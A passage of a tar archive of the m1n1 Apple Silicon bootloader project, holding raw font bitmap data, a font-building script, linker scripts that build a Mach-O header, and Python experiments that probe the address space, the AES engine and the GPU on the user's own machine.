LÕÿÿÿ4“ÿÿÿ_xÿÿÿ4»ÿÿÿxÿÿÿ4Ïÿÿúxÿÿÿ4Ãÿÿÿxÿÿÿ4žÿÿÿS}ÿÿÿ4XÿÿÿäI"bðÿÿÿ4Ûÿÿÿÿÿÿÿÿÿÿ43ðÿÿÿÿÿÉÿÿÿ4"¡èùÕkåÿÿ4‡ÕôìÊp YòÿÿÿÿÿÿÏIýÿÿÿïóÿÿÿ¹äÿÿå;_þÿÿ7SÿÿÿN¼ÿÿ‚ÿÿÿÿÿÿÿÿÿÿÿ ˜ÿÿÿÿÿÿÿÿÿÿÿ¡‚ÿÿÿ˜ˆˆˆˆˆˆˆIUÿÿÿqéÿÿùk +Qþÿÿÿþè÷ÿÿŸ]òÿÿÿÿÿÿÿÙ Ììúâ¬W:£à÷ïÕ <rýÿÿÿÿÿÿh+ýÿÿÿÿúÿÿ$ƒÿÿÿ:¤ÿÿÿ ôÿÿÿÿÿÿÿÿÿÿHôÿÿÿÿÿÿÿÿÿÿHÑÜÜôÿÿÿÜÜÜÜ=¬ÿÿÿ¬ÿÿÿ¬ÿÿÿ¬ÿÿÿ¬ÿÿÿ¬ÿÿÿ¬ÿÿÿ¬ÿÿÿ¬ÿÿÿ¬ÿÿÿÍòÿÿÿÿÿÿÿ4&äÿÿÿÿÿÿÿÿÿÿ4Ãÿÿüª˜ïÿÿñÄÄ'ÿÿÿ~8ÿÿù!ÿÿÿUÿÿÿ4ãÿÿÅ ’ÿÿúJùÿÿÿÿÿÿÿˆËÿÿÿÿÿæp ÿù*9@'úÿö)çÿÿÿìääàѪYPúÿÿÿÿÿÿÿÿÿ¬gõÿåûÿÿÿÿÿÿÿ+Uÿÿ’|ÿÿÿ@¨ÿÿqsÿÿûŒÿÿü§qexºÿÿÿˆßÿÿÿÿÿÿÿÿùƒvÁêúöä¼|0ðððp4ÿÿÿx4ÿÿÿx4ÿÿÿx4ÿÿÿu4ÿÿÿc—âùÞ~4ÿÿÿ”ðÿÿÿÿÿŒ4ÿÿÿÿÿÿÿÿÿÿû4ÿÿÿÿ­FKÕÿÿÿV4ÿÿÿŸSÿÿÿv4ÿÿÿx1ÿÿÿ4ÿÿÿx,ÿÿÿ€4ÿÿÿx,ÿÿÿ€4ÿÿÿx,ÿÿÿ€4ÿÿÿx,ÿÿÿ€4ÿÿÿx,ÿÿÿ€4ÿÿÿx,ÿÿÿ€4ÿÿÿx,ÿÿÿ€·ôÐ8¢ÿÿÿâÇÿÿÿþyÿÿÿ¹[•s ÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿ ðððððÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ W”p sÿÿÿ³Æÿÿÿý¦ÿÿÿæ»õÓ=ÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿ ðððððÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ  ÿÿÿ ÿÿÿ—4ÿÿÿ~h·ÿÿÿCMÿÿøÿÿÿÿÕ´ÿÿÿÿÿÿë3I¨ÙôðÕŒðððŠÿÿÿ”ÿÿÿ”ÿÿÿ”ÿÿÿ”ÿÿÿ”>ùÿÿÄÿÿÿ”'íÿÿ×ÿÿÿ”Ýÿÿæÿÿÿ” Èÿÿñ/ÿÿÿ–®ÿÿùCÿÿÿôÿÿÿ»ÿÿÿÿÿÿÿÿSÿÿÿÿÿëÿÿéÿÿÿÿ¨"öÿÿ¥ÿÿÿÈ{ÿÿÿOÿÿÿ”Øÿÿçÿÿÿ”Cÿÿÿ¡ÿÿÿ”¦ÿÿÿKÀÿÿÿÿÿÿÔÀÿÿÿÿÿÿÔºøøøþÿÿÔØÿÿÔØÿÿÔØÿÿÔØÿÿÔØÿÿÔØÿÿÔØÿÿÔØÿÿÔØÿÿÔ×ÿÿÔÌÿÿì¥ÿÿÿ‹JOÿÿÿÿÿÿü®ÿÿÿÿÿÿZwÕøùà¢9 ÿÿ¹!¾õÌ!+ÅöÍ) ÿÿäÔÿÿÿ²àÿÿÿÈ ÿÿÿÿÿÿÿÿÿÿÿÿÿ& ÿÿÿÛJõÿÿ§yÿÿÿG ÿÿÿkÕÿÿ)ÿÿÿW ÿÿÿ`Ôÿÿ (ÿÿÿX ÿÿÿ`Ôÿÿ (ÿÿÿX ÿÿÿ`Ôÿÿ (ÿÿÿX ÿÿÿ`Ôÿÿ (ÿÿÿX ÿÿÿ`Ôÿÿ (ÿÿÿX ÿÿÿ`Ôÿÿ (ÿÿÿX ÿÿÿ`Ôÿÿ (ÿÿÿX ÿÿÿ`Ôÿÿ (ÿÿÿX4ÿÿÞ äùÞ~4ÿÿýcñÿÿÿÿÿŒ4ÿÿÿÿÿÿÿÿÿÿû4ÿÿÿÿ­FKÕÿÿÿV4ÿÿÿŸSÿÿÿv4ÿÿÿx1ÿÿÿ4ÿÿÿx,ÿÿÿ€4ÿÿÿx,ÿÿÿ€4ÿÿÿx,ÿÿÿ€4ÿÿÿx,ÿÿÿ€4ÿÿÿx,ÿÿÿ€4ÿÿÿx,ÿÿÿ€4ÿÿÿx,ÿÿÿ€>§áøá§>”ÿÿÿÿÿÿÿ”‹ÿÿÿÿÿÿÿÿÿˆ(ÿÿÿêNNëÿÿþ%‹ÿÿÿ[^ÿÿÿ‰·ÿÿÿÿÿÿµÍÿÿúûÿÿÌ·ÿÿÿÿÿÿµŠÿÿÿ[_ÿÿÿˆ'ÿÿÿêMNëÿÿþ%‹ÿÿÿÿÿÿÿÿÿˆ”ÿÿÿÿÿÿÿ”>§âøâ§>4ÿÿä^Èöï´64ÿÿÿÌÿÿÿÿÿúK4ÿÿÿÿÿÿÿÿÿÿé4ÿÿÿör?Ùÿÿÿf4ÿÿÿ}Eÿÿÿ¦4ÿÿÿx ÿÿÿÆ4ÿÿÿxøÿÿÌ4ÿÿÿx ÿÿÿµ4ÿÿÿxZÿÿÿ‹4ÿÿÿ×N Wíÿÿÿ44ÿÿÿÿÿÿÿÿÿÿ¬4ÿÿÿàÿÿÿÿÿÈ4ÿÿÿ_sÛø×x 4ÿÿÿo4ÿÿÿx4ÿÿÿx4ÿÿÿx4ÿÿÿx ÚøáÇÿÿ4Ðÿÿÿÿÿ×÷ÿÿ4µÿÿÿÿÿÿÿÿÿÿ4<ÿÿÿî[ LÕÿÿÿ4“ÿÿÿ_xÿÿÿ4»ÿÿÿxÿÿÿ4Ïÿÿúxÿÿÿ4Ãÿÿÿxÿÿÿ4žÿÿÿS}ÿÿÿ4XÿÿÿäI"bðÿÿÿ4Ûÿÿÿÿÿÿÿÿÿÿ43ðÿÿÿÿÿÎÿÿÿ4"¡èùÏR`ÿÿÿ4sÿÿÿ4xÿÿÿ4xÿÿÿ4xÿÿÿ4xÿÿÿ4ÿÿó5§åýñ„ÿÿÿ oüÿÿÿÿlÿÿÿtÿÿÿÿÿÿ4ÿÿÿþÿðŒX\‰ÿÿÿÿÎÿÿÿôÿÿÿžÿÿÿ”ÿÿÿ”ÿÿÿ”ÿÿÿ”ÿÿÿ”ÿÿÿ”a¹èúïχ%Çÿÿÿÿÿÿÿý¢–ÿÿÿðÑãÿÿÿœÝÿÿÞ q» Òÿÿø~1jÿÿÿÿÿð°c pïÿÿÿÿÿÿìS YžÙÿÿÿÿû' –ÿÿÿpœæz#OÿÿÿpLÿÿÿÿìÓÚÿÿÿø!)¶ÿÿÿÿÿÿÿÿ÷V+†ÉìüñÎŒ!ÿÿÿ.ÿÿÿLÿÿÿiÿÿÿÈÿÿÿÿÿÿÿÿÿÿÿHÈÿÿÿÿÿÿÿÿÿÿÿH«ÜÜóÿÿÿÝÜÜÜÜ=¨ÿÿÿ¨ÿÿÿ¨ÿÿÿ¨ÿÿÿ£ÿÿÿÿÿÿ4_ÿÿÿÂ% @ðÿÿÿÿûÿÿPZûÿÿÿÿÿÿ9©âù÷ܦLtÿÿÿ8Œÿÿÿ tÿÿÿ8Œÿÿÿ tÿÿÿ8Œÿÿÿ tÿÿÿ8Œÿÿÿ tÿÿÿ8Œÿÿÿ tÿÿÿ8Œÿÿÿ tÿÿÿ8Œÿÿÿ sÿÿÿ<Œÿÿÿ kÿÿÿ^¹ÿÿÿ MÿÿÿÙMD±ÿÿÿÿ ùÿÿÿÿÿÿÿÿÿÿ ‹ÿÿÿÿÿïUÿÿÿ ~Þúä˜ñÿÿ ùÿÿ uÿÿù¯ÿÿíÇÿÿ±SÿÿÿCþÿÿWïÿÿ•jÿÿó ›ÿÿå¼ÿÿ¤?ÿÿÿ8ûÿÿKáÿÿ‡[ÿÿì‡ÿÿÒ¤ÿÿ˜*ÿÿÿéÿÿ>Ïÿÿÿÿãsÿÿúÿÿ‹ýÿÿÿÿ2ºÿÿÿØÕÿÿ·ÿÿÔ­ÿÿØ­ÿÿ¯…ÿÿ÷ØÿûËÿÿ‰]ÿÿÿ ýÿÿ4èÿÿd5ÿÿÿ98ÿÿÿeþÿÿ> ÿÿÿYhÿÔÿ–$ÿÿÿåÿÿw•ÿ˜ÿÆ=ÿÿó½ÿÿ’Àÿ\ÿóSÿÿΕÿÿ¬çÿÿÿ‰ÿÿ¨mÿÿÒÿîæÿÈÿÿƒEÿÿÿÿŽÿÿÿÿ]ÿÿÿÿœ“ÿÿÿÿ8óÿÿÿtiÿÿÿÿzÿÿÿtPÿÿÿ~ÐÿÿóÔÿÿÛ3üÿÿ¥XÿÿÿH‹ÿÿþ9Íÿÿ­ ÜÿÿèÿÿôBÿÿÿÿÿwíÿÿÿç–ÿÿÿÿÿM:þÿÿÞÿÿçÔÿÿ°0ûÿÿ©~ÿÿþ/ŒÿÿÿX'øÿÿ¢ ÜÿÿíÁÿÿõ?þÿÿ³óÿÿ›^ÿÿü•ÿÿñ ²ÿÿ·)ÿÿÿZ øÿÿW»ÿÿ¹ZÿÿïNÿÿý®ÿÿ—Þÿÿw öÿÿ7uÿÿÏNÿÿÖöÿÿ$™ÿÿv›ÿÿsáÿü.ÿÿâÿÿ¶ÁÿÿÿÿVTÿÿÿîðÿÿ–5ÿÿÿ0 6ÛÿÿÀÑþÿÿÿü5ýÿÿÿþk1éûê³AxÿÿÿÿÿÿÿÿÿÿTxÿÿÿÿÿÿÿÿÿÿTpðððððüÿÿÿÛ@ûÿÿó+êÿÿþQ Îÿÿÿ¤ÿÿÿ±sÿÿÿÖDüÿÿð&!íÿÿýJ Ñÿÿÿýððððððx@ÿÿÿÿÿÿÿÿÿÿÿ€@ÿÿÿÿÿÿÿÿÿÿÿ€zÍòþÿh¥ÿÿÿÿüf üÿþS'ÿÿß$ÿÿÙÿÿáýÿèóÿï ùÿå :»ÿÿ­Xÿÿÿú³Xÿÿÿá„ Iwâÿÿœüÿáñÿðüÿéÿÿá&ÿÿÙ(ÿÿÞýÿýV ¬ÿÿÿÿÿh €Ðóþÿh””” ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ ÿÿÿ `ÿþóÏ} ^üÿÿÿÿ­Sþÿþßÿÿ.Øÿÿ+ÝÿÿäÿÿéÿôÞÿù «ÿÿ½= ¶ûÿÿÿ`Þÿÿÿ`—ÿÿäyJÚÿüêÿñåÿýÞÿÿÙÿÿ-Þÿÿ0 Pýÿÿ`ÿÿÿÿÿ³`ÿÿôÑ„ }¢o}V3ìÿÿÿÑ()øÿƒ ßÿÿÿÿÿöµíÿú#rÿÿr wûÿÿÿÿs-«Ã7Ç÷ÓYm1n1-1.4.11/font/makefont.sh000077500000000000000000000007251453754430200154760ustar00rootroot00000000000000#!/bin/bash width=$1 height=$2 size=$3 fontfile=$4 outfile=$5 shift 5 ( for ord in $(seq 32 126); do printf "\\x$(printf %x $ord)\\n" done ) | convert \ -page ${width}x$((height*95)) \ -background black \ -fill white \ -antialias \ -font $fontfile \ -density 72 \ -gravity north \ -pointsize $size \ $* \ -define quantum:format=unsigned \ -depth 8 \ label:\@- \ -crop ${width}x$((height*95)) \ gray:$outfile m1n1-1.4.11/m1n1-raw.ld000066400000000000000000000075111453754430200142510ustar00rootroot00000000000000ENTRY(_start) _stack_size = 0x20000; /* We are actually relocatable */ . = 0; PHDRS { hdr PT_LOAD; text PT_LOAD; rodata PT_LOAD; data PT_LOAD; } SECTIONS { _base = .; _text_start = .; .init : ALIGN(0x4000) { *(.init) *(.init.*) } :text .text : ALIGN(0x4000) { *(.text) *(.text.*) . = ALIGN(8); *(.got.plt) . = ALIGN(0x4000); } :text _text_size = . - _text_start; .rodata : ALIGN(0x4000) { *(.rodata) *(.rodata.*) . = ALIGN(8); } :rodata .rela.dyn : { _rela_start = .; *(.rela) *(.rela.text) *(.rela.got) *(.rela.plt) *(.rela.bss) *(.rela.ifunc) *(.rela.text.*) *(.rela.data) *(.rela.data.*) *(.rela.rodata) *(.rela.rodata*) *(.rela.dyn) _rela_end = .; . = ALIGN(0x4000); } :rodata _rodata_end = .; _data_start = .; .data : ALIGN(0x4000) { *(.data) *(.data.*) . = ALIGN(8); _got_start = .; *(.got) _got_end = .; . = ALIGN(0x4000); _file_end = .; } :data .bss : ALIGN(0x4000) { _bss_start = .; *(.bss) *(.bss.*) *(.dynbss) *(COMMON) _bss_end = .; } : data .stack : ALIGN(0x4000) { PROVIDE(_stack_top = .); . += _stack_size - 8; QUAD(0x544f424b43415453); PROVIDE(_stack_bot = .); } :data ASSERT(ALIGN(0x4000) == ., "Stack size is not aligned!") _data_size = . - _data_start; _end = .; _payload_start = .; .symtab 0 : { *(.symtab) } .strtab 0 : { *(.strtab) } .shstrtab 0 : { *(.shstrtab) } /DISCARD/ : { *(.discard) *(.discard.*) *(.interp .dynamic) *(.dynsym .dynstr .hash .gnu.hash) *(.eh_frame) *(.gnu.version*) *(.note*) *(.comment*) } .empty (NOLOAD) : { *(.plt) *(.plt.*) *(.iplt) *(.igot) *(.data.rel.ro) } ASSERT(SIZEOF(.empty) == 0, "Unexpected sections detected!") .got.plt (NOLOAD) : { *(.got.plt) } ASSERT(SIZEOF(.got.plt) == 0 || SIZEOF(.got.plt) == 0x18, "Unexpected GOT PLT detected!") .stab 0 : { *(.stab) } .stabstr 0 : { *(.stabstr) } .stab.excl 0 : { *(.stab.excl) } .stab.exclstr 0 : { *(.stab.exclstr) } .stab.index 0 : { *(.stab.index) } .stab.indexstr 0 : { *(.stab.indexstr) } .comment 0 : { *(.comment) } .debug 0 : { *(.debug) } .line 0 : { *(.line) } .debug_srcinfo 0 : { *(.debug_srcinfo) } .debug_sfnames 0 : { *(.debug_sfnames) } .debug_aranges 0 : { *(.debug_aranges) } .debug_pubnames 0 : { *(.debug_pubnames) } .debug_info 0 : { *(.debug_info .gnu.linkonce.wi.*) } .debug_abbrev 0 : { *(.debug_abbrev) } .debug_line 0 : { *(.debug_line) } .debug_frame 0 : { *(.debug_frame) } .debug_str 0 : { *(.debug_str) } .debug_loc 0 : { *(.debug_loc) } .debug_macinfo 0 : { *(.debug_macinfo) } .debug_weaknames 0 : { *(.debug_weaknames) } .debug_funcnames 0 : { *(.debug_funcnames) } .debug_typenames 0 : { *(.debug_typenames) } .debug_varnames 0 : { *(.debug_varnames) } .debug_pubtypes 0 : { *(.debug_pubtypes) } .debug_ranges 0 : { *(.debug_ranges) } .debug_types 0 : { *(.debug_types) } .debug_addr 0 : { *(.debug_addr) } .debug_line_str 0 : { *(.debug_line_str) } .debug_loclists 0 : { *(.debug_loclists) } .debug_macro 0 : { *(.debug_macro) } .debug_names 0 : { *(.debug_names) } .debug_rnglists 0 : { *(.debug_rnglists) } .debug_str_offsets 0 : { *(.debug_str_offsets) } .debug_sup 0 : { *(.debug_sup) } } PROT_READ = 0x01; PROT_WRITE = 0x02; PROT_EXECUTE = 0x04; m1n1-1.4.11/m1n1.ld000066400000000000000000000164641453754430200134710ustar00rootroot00000000000000ENTRY(_start) /* Fake virtual load address for the mach-o */ _va_base = 0xFFFFFE0007004000; _stack_size = 0x20000; _max_payload_size = 64*1024*1024; /* We are actually relocatable */ . = 0; PHDRS { hdr PT_LOAD; text PT_LOAD; rodata PT_LOAD; data PT_LOAD; } SECTIONS { _base = .; .header : { _mach_header = .; /* mach-o header */ LONG(0xfeedfacf); /* magic */ LONG(0x100000c); /* cputype */ LONG(0x02); /* cputype */ LONG(0x0c); /* filetype */ LONG(6); /* ncmds */ LONG(_cmd_end - _cmd_start); /* sizeofcmds */ LONG(4); /* flags */ LONG(0); /* reserved */ _cmd_start = .; /* unix_thread (entrypoint) */ LONG(0x5); /* type = UNIX_THREAD */ LONG(0x120); /* cmdsize */ LONG(6); /* ARM_THREAD64 */ LONG(0x44); /* length */ . += 32 * 8; /* useless registers */ QUAD(_start + _va_off) /* pc */ . += 8; /* useless registers */ ASSERT(. - _cmd_start == 0x120, "Bad unix_thread structure"); /* segment: mach-o structures */ LONG(0x19); /* type = SEGMENT_64 */ LONG(0x48); /* cmdsize */ LONG(0x5244485f); /* segname = "_HDR" */ . += 12; QUAD(ADDR(.header) + _va_off); /* vmaddr */ QUAD(SIZEOF(.header)); /* vmsize */ QUAD(ADDR(.header) - _base); /* fileoff */ QUAD(SIZEOF(.header)); /* filesize */ LONG(PROT_READ); /* maxprot */ LONG(PROT_READ); /* initprot */ LONG(0); /* nsects */ LONG(0); /* flags */ /* segment: text */ LONG(0x19); /* type = SEGMENT_64 */ LONG(0x48); /* cmdsize */ LONG(0x54584554); /* segname = "TEXT" */ . += 12; QUAD(ADDR(.init) + _va_off); /* vmaddr */ QUAD(_text_size); /* vmsize */ QUAD(ADDR(.init) - _base); /* fileoff */ QUAD(_text_size); /* filesize */ LONG(PROT_READ | PROT_EXECUTE); /* maxprot */ LONG(PROT_READ | PROT_EXECUTE); /* initprot */ LONG(0); /* nsects */ LONG(0); /* flags */ /* segment: rodata */ LONG(0x19); /* type = SEGMENT_64 */ LONG(0x48); /* cmdsize */ LONG(0x41444F52); /* segname = "RODA" */ . += 12; QUAD(ADDR(.rodata) + _va_off); /* vmaddr */ QUAD(_rodata_end - ADDR(.rodata)); /* vmsize */ QUAD(ADDR(.rodata) - _base); /* fileoff */ QUAD(_rodata_end - ADDR(.rodata)); /* filesize */ LONG(PROT_READ); /* maxprot */ LONG(PROT_READ); /* initprot */ LONG(0); /* nsects */ LONG(0); /* flags */ /* segment: data */ LONG(0x19); /* type = SEGMENT_64 */ LONG(0x48); /* cmdsize */ LONG(0x41544144); /* segmname = "DATA" */ . += 12; QUAD(ADDR(.data) + _va_off); /* vmaddr */ QUAD(_data_size); /* vmsize */ QUAD(ADDR(.data) - _base); /* fileoff */ QUAD(SIZEOF(.data)); /* filesize */ LONG(PROT_READ | PROT_WRITE); /* maxprot */ LONG(PROT_READ | PROT_WRITE); /* initprot */ LONG(0); /* nsects */ LONG(0); /* flags */ /* segment: payload */ LONG(0x19); /* type = SEGMENT_64 */ LONG(0x48); /* cmdsize */ LONG(0x444C5950); /* segmname = "PYLD" */ . += 12; QUAD(_end + _va_off); /* vmaddr */ QUAD(_max_payload_size); /* vmsize */ QUAD(_file_end - _base); /* fileoff */ QUAD(_max_payload_size); /* filesize */ LONG(PROT_READ | PROT_WRITE); /* maxprot */ LONG(PROT_READ | PROT_WRITE); /* initprot */ LONG(0); /* nsects */ LONG(0); /* flags */ _cmd_end = .; . = ALIGN(0x4000); _hdr_end = .; } :hdr _text_start = .; .init : ALIGN(0x4000) { *(.init) *(.init.*) } :text .text : ALIGN(0x4000) { *(.text) *(.text.*) . = ALIGN(8); *(.got.plt) . = ALIGN(0x4000); } :text _text_size = . - _text_start; .rodata : ALIGN(0x4000) { *(.rodata) *(.rodata.*) . = ALIGN(8); } :rodata .rela.dyn : { _rela_start = .; *(.rela) *(.rela.text) *(.rela.got) *(.rela.plt) *(.rela.bss) *(.rela.ifunc) *(.rela.text.*) *(.rela.data) *(.rela.data.*) *(.rela.rodata) *(.rela.rodata*) *(.rela.dyn) _rela_end = .; . = ALIGN(0x4000); } :rodata _rodata_end = .; _data_start = .; .data : ALIGN(0x4000) { *(.data) *(.data.*) . = ALIGN(8); _got_start = .; *(.got) _got_end = .; . = ALIGN(0x4000); _file_end = .; } :data .bss : ALIGN(0x4000) { _bss_start = .; *(.bss) *(.bss.*) *(.dynbss) *(COMMON) . = ALIGN(0x4000); _bss_end = .; PROVIDE(_stack_top = .); . += _stack_size; PROVIDE(_stack_bot = .); . = ALIGN(0x4000); } :data _data_size = . - _data_start; _end = .; _payload_start = .; _payload_end = . + _max_payload_size; .symtab 0 : { *(.symtab) } .strtab 0 : { *(.strtab) } .shstrtab 0 : { *(.shstrtab) } /DISCARD/ : { *(.discard) *(.discard.*) *(.interp .dynamic) *(.dynsym .dynstr .hash .gnu.hash) *(.eh_frame) *(.gnu.version*) *(.note*) *(.comment*) } .empty (NOLOAD) : { *(.plt) *(.plt.*) *(.iplt) *(.igot) *(.data.rel.ro) } ASSERT(SIZEOF(.empty) == 0, "Unexpected sections detected!") .got.plt (NOLOAD) : { *(.got.plt) } ASSERT(SIZEOF(.got.plt) == 0 || SIZEOF(.got.plt) == 0x18, "Unexpected GOT PLT detected!") .stab 0 : { *(.stab) } .stabstr 0 : { *(.stabstr) } .stab.excl 0 : { *(.stab.excl) } .stab.exclstr 0 : { *(.stab.exclstr) } .stab.index 0 : { *(.stab.index) } .stab.indexstr 0 : { *(.stab.indexstr) } .comment 0 : { *(.comment) } .debug 0 : { *(.debug) } .line 0 : { *(.line) } .debug_srcinfo 0 : { *(.debug_srcinfo) } .debug_sfnames 0 : { *(.debug_sfnames) } .debug_aranges 0 : { *(.debug_aranges) } .debug_pubnames 0 : { *(.debug_pubnames) } .debug_info 0 : { *(.debug_info .gnu.linkonce.wi.*) } .debug_abbrev 0 : { *(.debug_abbrev) } .debug_line 0 : { *(.debug_line) } .debug_frame 0 : { *(.debug_frame) } .debug_str 0 : { *(.debug_str) } .debug_loc 0 : { *(.debug_loc) } .debug_macinfo 0 : { *(.debug_macinfo) } .debug_weaknames 0 : { *(.debug_weaknames) } .debug_funcnames 0 : { *(.debug_funcnames) } .debug_typenames 0 : { *(.debug_typenames) } .debug_varnames 0 : { *(.debug_varnames) } .debug_pubtypes 0 : { *(.debug_pubtypes) } .debug_ranges 0 : { *(.debug_ranges) } .debug_types 0 : { *(.debug_types) } .debug_addr 0 : { *(.debug_addr) } .debug_line_str 0 : { *(.debug_line_str) } .debug_loclists 0 : { *(.debug_loclists) } .debug_macro 0 : { *(.debug_macro) } .debug_names 0 : { *(.debug_names) } .debug_rnglists 0 : { *(.debug_rnglists) } .debug_str_offsets 0 : { *(.debug_str_offsets) } .debug_sup 0 : { *(.debug_sup) } } PROT_READ = 0x01; PROT_WRITE = 0x02; PROT_EXECUTE = 0x04; _va_off = _va_base - _base; m1n1-1.4.11/proxyclient/000077500000000000000000000000001453754430200147415ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/experiments/000077500000000000000000000000001453754430200173045ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/experiments/addrdump.py000077500000000000000000000010161453754430200214570ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * blacklist = [] print("Dumping address space...") of = None if len(sys.argv) > 1: of = open(sys.argv[1],"w") print("Also dumping to file %s") for i in range(0x0000, 0x10000): if i in blacklist: v = "%08x: SKIPPED"%(i<<16) else: a = (i<<16) + 0x1000 d = p.read32(a) v = "%08x: %08x"%(a, d) print(v) if of: of.write(v+"\n") if of: of.close() m1n1-1.4.11/proxyclient/experiments/aes.py000066400000000000000000000071271453754430200204350ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.shell import run_shell from m1n1.hw.dart import DART from m1n1.hw.aes import * def aes_set_custom_key( aes, key, encrypt=True, mode=AES_SET_KEY_BLOCK_MODE.CTR, keyslot=0, keygen=0, ): keylen = { 16: AES_SET_KEY_LEN.AES128, 24: AES_SET_KEY_LEN.AES192, 32: AES_SET_KEY_LEN.AES256, }[len(key)] aes.R_CMD_FIFO = AESSetKeyCommand( KEY_SELECT=0, KEYLEN=keylen, ENCRYPT=1 if encrypt else 0, BLOCK_MODE=mode, SLOT=keyslot, KEYGEN=keygen, ).value for i in range(0, len(key), 4): aes.R_CMD_FIFO = struct.unpack(">I", key[i : i + 4])[0] def aes_set_hw_key( aes, key, keylen=AES_SET_KEY_LEN.AES128, encrypt=True, mode=AES_SET_KEY_BLOCK_MODE.CTR, slot=0, keygen=0, ): aes.R_CMD_FIFO = AESSetKeyCommand( KEY_SELECT=key, KEYLEN=keylen, ENCRYPT=1 if encrypt else 0, BLOCK_MODE=mode, SLOT=slot, KEYGEN=keygen, ).value def aes_set_iv(aes, iv, slot=0): assert len(iv) == 16 aes.R_CMD_FIFO = AESSetIVCommand(SLOT=slot) for i in range(0, len(iv), 4): aes.R_CMD_FIFO = struct.unpack(">I", iv[i : i + 4])[0] def aes_crypt(aes, dart, data, key_slot=0, iv_slot=0): assert len(data) % 16 == 0 bfr = p.memalign(0x4000, len(data)) iova = dart.iomap(1, bfr, len(data)) dart.iowrite(1, iova, data) aes.R_CMD_FIFO = AESCryptCommand(LEN=len(data), KEY_SLOT=key_slot, IV_SLOT=iv_slot) aes.R_CMD_FIFO = 0 # actually upper bits of addr aes.R_CMD_FIFO = iova # src aes.R_CMD_FIFO = iova # dst aes.R_CMD_FIFO = AESBarrierCommand(IRQ=1).value time.sleep(0.1) # while aes.R_IRQ_STATUS.reg.FLAG != 1: # pass # aes.dump_regs() aes.R_IRQ_STATUS = aes.R_IRQ_STATUS.val res = dart.ioread(1, iova, len(data)) return res def test_hw_key(key, keylen, keygen=0): aes.R_IRQ_STATUS = aes.R_IRQ_STATUS.val aes.R_CONTROL.set(CLEAR_FIFO=1) aes.R_CONTROL.set(RESET=1) aes.R_CONTROL.set(START=1) # aes.dump_regs() aes_set_hw_key(aes, key, keylen, slot=0, keygen=keygen) # print(aes.R_IRQ_STATUS) aes_set_iv(aes, b"\x00" * 16, slot=0) chexdump(aes_crypt(aes, dart, b"\x00" * 16, key_slot=0, iv_slot=1)) # aes.dump_regs() aes.R_CONTROL.set(STOP=1) def test_custom_key(key, keygen=0): aes.R_IRQ_STATUS = aes.R_IRQ_STATUS.val aes.R_CONTROL.set(CLEAR_FIFO=1) aes.R_CONTROL.set(RESET=1) aes.R_CONTROL.set(START=1) # aes.dump_regs() aes_set_custom_key(aes, key, keyslot=0, keygen=keygen) aes_set_iv(aes, b"\x00" * 16) aes_set_iv(aes, b"\x11" * 16, slot=1) chexdump(aes_crypt(aes, dart, b"\x00" * 16, key_slot=0, iv_slot=0)) # aes.dump_regs() aes.R_CONTROL.set(STOP=1) p.pmgr_adt_clocks_enable("/arm-io/aes") dart = DART.from_adt(u, "/arm-io/dart-sio") dart.initialize() aes_base, _ = u.adt["/arm-io/aes"].get_reg(0) aes = AESRegs(u, aes_base) aes.dump_regs() dart.dump_all() for keygen in range(4): print(f"zero key, keygen={keygen}", end="") test_custom_key(b"\x00" * 16, keygen=keygen) for keygen in range(4): print("#" * 10) for keylen in [ AES_SET_KEY_LEN.AES128, AES_SET_KEY_LEN.AES192, AES_SET_KEY_LEN.AES256, ]: for i in (1, 3): print(f"key = {i}, keylen={keylen}, keygen={keygen}", end="") test_hw_key(i, keylen, keygen=keygen) dart.dump_all() run_shell(globals(), msg="Have fun!") m1n1-1.4.11/proxyclient/experiments/agx_1tri.py000066400000000000000000000671631453754430200214110ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.constructutils import Ver from m1n1.utils import * Ver.set_version(u) from m1n1.shell import run_shell from m1n1.agx import AGX from m1n1.agx.context import * p.pmgr_adt_clocks_enable("/arm-io/gfx-asc") p.pmgr_adt_clocks_enable("/arm-io/sgx") #p.pmgr_adt_clocks_enable("/arm-io/pmp") # [cpu0] [0xfffffe00124bf5c0] MMIO: R.4 0x204d14000 (sgx, offset 0xd14000) = 0x0 p.read32(0x204000000 + 0xd14000) # [cpu0] [0xfffffe00124bf9a8] MMIO: W.4 0x204d14000 (sgx, offset 0xd14000) = 0x70001 p.write32(0x204000000 + 0xd14000, 0x70001) #p.read32(0x204010258) agx = AGX(u) mon = RegMonitor(u, ascii=True, bufsize=0x8000000) agx.mon = mon sgx = agx.sgx_dev mon.add(sgx.gpu_region_base, sgx.gpu_region_size, "contexts") mon.add(sgx.gfx_shared_region_base, sgx.gfx_shared_region_size, "gfx-shared") mon.add(sgx.gfx_handoff_base, sgx.gfx_handoff_size, "gfx-handoff") #addr, size = sgx.get_reg(0) #mon.add(addr + 0x600000, size - 0x600000, "sgx") addr, size = u.adt["/arm-io/aic"].get_reg(0) mon.add(addr, size, "aic") def unswizzle(addr, w, h, psize, dump=None, grid=False): tw = 64 th = 64 ntx = (w + tw - 1) // 64 nty = (h + th - 1) // 64 data = iface.readmem(addr, ntx * nty * psize * tw * th) new_data = [] for y in range(h): ty = y // th for x in range(w): tx = x // tw toff = tw * th * psize * (ty * ntx + tx) j = x & (tw - 1) i = y & (th - 1) off = ( ((j & 1) << 